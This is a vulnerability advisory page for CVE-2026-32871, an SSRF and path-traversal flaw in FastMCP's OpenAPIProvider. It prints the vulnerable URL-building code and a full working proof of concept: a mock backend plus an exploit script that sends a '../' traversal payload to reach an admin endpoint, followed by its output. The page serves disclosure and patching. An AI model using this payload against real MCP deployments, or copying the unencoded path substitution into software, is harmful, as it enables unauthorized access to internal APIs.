Skip to main content
VulnerabilityPublished Updated

CVE-2026-32871: Mcpm · FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability

Affects mcpmSource GCVE Database

0
Compare
Authoritative record:CVE-2026-32871· Critical 10.0

Not known to be exploited · CVSS 10.0 Critical : patch mcpm as a priority.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 4.0 base score
10.0Critical
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.9% chance of exploitation in 30 days – higher than 59% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 2 Apr 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Affected software

ProductAffectedFixed in
Homebrewmcpmpkg:brew/mcpmOther threatsAffected
  • >=2.1.0
Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: url_path = url_path.replace(placeholder, str(param_value)) # urljoin resolves ../ escape sequences return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ``` ### Root Cause 1. Path parameters are substituted directly without URL encoding 2. `urllib.parse.urljoin()` interprets `../` as directory traversal 3. No validation prevents traversal sequences in parameter values 4. Requests inherit the authentication context of the MCP provider --- ## Proof of Concept ### Step 1: Backend API Setup Create `internal_api.py` to simulate a vulnerable backend server: ```python from fastapi import FastAPI, Header, HTTPException import uvicorn app = FastAPI() @app.get("/api/v1/users/{user_id}/profile") def get_profile(user_id: str): return {"status": "success", "user": user_id} @app.get("/admin/delete-all") def admin_endpoint(authorization: str = Header(None)): if authorization == "Bearer admin_secret": return {"status": "CRITICAL", "message": "Administrative access granted"} raise HTTPException(status_code=401) if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8080) ``` ### Step 2: Exploitation Script Create `exploit_poc.py`: ```python import asyncio import httpx from fastmcp.utilities.openapi.director import RequestDirector async def exploit_ssrf(): # Initialize vulnerable component director = RequestDirector(spec={}) base_url = "http://127.0.0.1:8080/" template = "/api/v1/users/{id}/profile" # Payload: Path traversal to reach /admin/delete-all # The '?' character neutralizes the rest of the original template payload = "../../../admin/delete-all?" # Construct malicious URL malicious_url = director._build_url(template, {"id": payload}, base_url) print(f"[*] Generated URL: {malicious_url}") async with httpx.AsyncClient() as client: # Request inherits MCP provider's authorization headers response = await client.get( malicious_url, headers={"Authorization": "Bearer admin_secret"} ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if __name__ == "__main__": asyncio.run(exploit_ssrf()) ``` ### Expected Output ``` [*] Generated URL: http://127.0.0.1:8080/admin/delete-all? [+] Status Code: 200 [+] Response: {"status": "CRITICAL", "message": "Administrative access granted"} ``` The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials. --- ## Impact Assessment ### Severity Justification - **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification - **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials - **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented - **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited - **Lateral Movement**: Internal-only services may be compromised from the network boundary ### Attack Scenarios 1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints 2. **Data Theft**: Access internal databases or sensitive information endpoints 3. **Service Disruption**: Trigger destructive operations on backend services 4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials --- ## Remediation ### Recommended Fix URL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as

References

Community reviews

Loading reviews…